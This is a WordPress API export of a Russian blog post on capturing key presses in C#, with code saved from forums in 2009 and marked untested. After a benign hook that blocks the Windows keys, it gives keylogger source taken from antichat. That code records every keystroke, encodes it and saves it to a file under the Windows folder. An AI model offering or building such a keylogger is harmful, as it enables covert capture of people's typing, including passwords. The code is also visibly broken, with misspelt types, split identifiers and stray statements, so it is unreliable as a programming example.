{"id":525,"date":"2017-04-30T21:34:22","date_gmt":"2017-04-30T17:34:22","guid":{"rendered":"http:\/\/infobs.athn.ru\/?p=525"},"modified":"2017-04-30T21:34:22","modified_gmt":"2017-04-30T17:34:22","slug":"kak-otsledit-sobyitie-nazhatiya-knopki-na-klaviature-myishke","status":"publish","type":"post","link":"https:\/\/infobase.athn.ru\/program\/2017\/04\/kak-otsledit-sobyitie-nazhatiya-knopki-na-klaviature-myishke\/","title":{"rendered":"\u041a\u0430\u043a \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043d\u043e\u043f\u043a\u0438 \u043d\u0430 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0435\/\u043c\u044b\u0448\u043a\u0435"},"content":{"rendered":"<p>\u0422\u0435\u043c\u0430 http:\/\/www.sql.ru\/forum\/632552\/otsledit-nazhatiya-knopok?<br \/>\nhttps:\/\/forum.antichat.ru\/threads\/41858\/<\/p>\n<p>\u0421\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043e \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2009, \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c<br \/>\n<!--more--><\/p>\n<pre>\nusing System;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\n\nnamespace hook\n{\n    class Program\n    {\n        private const int WH_KEYBOARD_LL = 13;\n        private const int WM_KEYDOWN = 0x0100;\n        private static LowLevelKeyboardProc _proc = HookCallback;\n        private static IntPtr _hookID = IntPtr.Zero;\n\n        static void Main()\n        {\n            _hookID = SetHook(_proc);\n            Application.Run();\n            UnhookWindowsHookEx(_hookID);\n\n        }\n\n        private static IntPtr SetHook(LowLevelKeyboardProc proc)\n        {\n            using (Process curProcess = Process.GetCurrentProcess())\n            using (ProcessModule curModule = curProcess.MainModule)\n            {\n                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);\n            }\n        }\n\n        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);\n\n        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)\n        {\n            if ((nCode &gt;= 0) &amp;&amp; (wParam == (IntPtr)WM_KEYDOWN))\n            {\n                int vkCode = Marshal.ReadInt32(lParam);\n                if (((Keys)vkCode == Keys.LWin) || ((Keys)vkCode == Keys.RWin))\n                {\n                    Console.WriteLine(\"{0} blocked!\", (Keys)vkCode);\n                    return (IntPtr)1;\n                }\n            }\n            return CallNextHookEx(_hookID, nCode, wParam, lParam);\n        }\n\n        [DllImport(\"user32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);\n\n        [DllImport(\"user32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        private static extern bool UnhookWindowsHookEx(IntPtr hhk);\n\n        [DllImport(\"user32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        private static extern IntPtr GetModuleHandle(string lpModuleName);\n\n    \n    \n    }\n}\n<\/pre>\n<p>\u0421 \u0430\u043d\u0442\u0438\u0447\u0430\u0442\u0430<\/p>\n<pre>\n\/\/ KeyLogger \u043d\u0430 \u0421# \u0447\u0435\u0440\u0435\u0437 GetAsyncKeyState\n[DllImport(\"user32.dll\")]\nprivate static \nextern short GetAsyncKeyState(System.Int32 vKey);\n\nprivate String keybuffer;\nprivate System.Timers.Timer CheckKey;\nprivate System.Timers.Timer FlushBuffer;\nprivate String file;\n\npublic Bolean Enabled\n{\n    get\n    {\n        return CheckKey.Enabled &amp;&amp; FlushBuffer.Enabled;\n    }\n    set\n    {\n        CheckKey.Enabled=value;\n        FlushBuffer.Enabled=value;\n    }\n}\n\npublic Double FlushInterval\n{\n\n    get\n    {\n        return FlushInterval.Interval;\n\n    }\n    set\n    {\n        FlushInterval.Interval=value;\n    }\n}\n\n\npublic String File\n{\n    get\n    {\n        return file;\n    }\n    set\n    {\n        file = value;\n    }\n}\npublic KeyLogger(String filename)\n{\n\n    keybuffer = string.Empty;  \n\n    this.File = filename;\n\n    CheckKey = new System.Timers.Timer();\n    CheckKey.Enabled = true;\n    CheckKey.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed  );\n    CheckKey.Interval = 10;\n\n    FlushBuffer = new System.Timers.Timer();\n    FlushBuffer.Enabled = true;\n    FlushBuffer.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed  );\n    FlushBuffer.Interval = 120000;\n}\nforeach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys)))  \n{\n    if(GetAsyncKeyState(h) == -32767)\n    keybuffer+=Enum.GetName(typeof(System.Windows.Form  s.Keys),h)+\u201d \u201c;\n}\npublic void Flush2File(string file, bool append)\n{\n    try\n    {\n        StreamWriter sw = new StreamWriter(file,append);\n        sw.WriteLine(Convert.ToBase64String(System.Text.En  coding.Default.GetBytes(keybuffer)));\n        sw.Close();\n        keybuffer = string.Empty;\n\n    }\n    catch(Exception ex)\n    {\n        throw ex;\n    }\n}\nstring filename=@\u201dc:\\keylogger.txt\u201d;\nKeyLogger kl;\n\ntextBox1.Text=\u201d60000\u201d;\ntextBox3.Text=filename;\n\ntry\n{\n    KeyLogger = new KeyLogger(filename);\n    Kl.FlushInterval = Convert.ToDouble(textBox1.text);\n}\ncatch(Exception)\n{\n    MessageBox.Show(\u201c\u0419\u0430 - \u043e\u0448\u0438\u0431\u043a\u043e\u201d);\n}\n\n\/\/\u041a\u043e\u0434 \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u044b\nstring filename=@\u201dc:\\windows\\keylogger.txt\u201d;\nKeyLogger kl;\n\ntextBox1.Text=\u201d60000\u201d;\ntextBox3.Text=filename;\n\ntry\n{\n    KeyLogger = new KeyLogger(filename);\n    Kl.FlushInterval = Convert.ToDouble(textBox1.text);\n}\ncatch(Exception)\n{\n    MessageBox.Show(\u201c\u0419\u0430 - \u043e\u0448\u0438\u0431\u043a\u043e\u201d);\n}\nkl.Enabled=true;\nkl.Flush2File(textBox3.text,true);\n\nkl.Flush2File(textBox3.text,true);\nkl.Enabled=false;\n\nStreamReader sr = new StreamReader(filename);\nbyte [] binary;\n\nSystem.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding();\nbinary = Convert.FromBase64String(sr.ReadLine());\nrichTextBox1.Text = enc.GetString(binary);\n\nwhile(!sr.EndOfStream)\n{\n    binary = Convert.FromBase64String(sr.ReadLine());\n    richTextBox1.AppendText(enc.GetString(binary));\n}\nsr.Close();\n\nContextMenu contextMenu = new ContextMenu();\ncontextMenu.MenuItems.Add(\u201c&amp;jes_yo\u201d,new EventHandler(this.jes_yo));\nnotifyIcon1.ContextMenu = contextMenu;\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u0422\u0435\u043c\u0430 http:\/\/www.sql.ru\/forum\/632552\/otsledit-nazhatiya-knopok? https:\/\/forum.antichat.ru\/threads\/41858\/ \u0421\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043e \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2009, \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[32],"tags":[],"class_list":["post-525","post","type-post","status-publish","format-standard","hentry","category-csharp"],"_links":{"self":[{"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/posts\/525","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/comments?post=525"}],"version-history":[{"count":0,"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/posts\/525\/revisions"}],"wp:attachment":[{"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/media?parent=525"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/categories?post=525"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infobase.athn.ru\/program\/wp-json\/wp\/v2\/tags?post=525"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}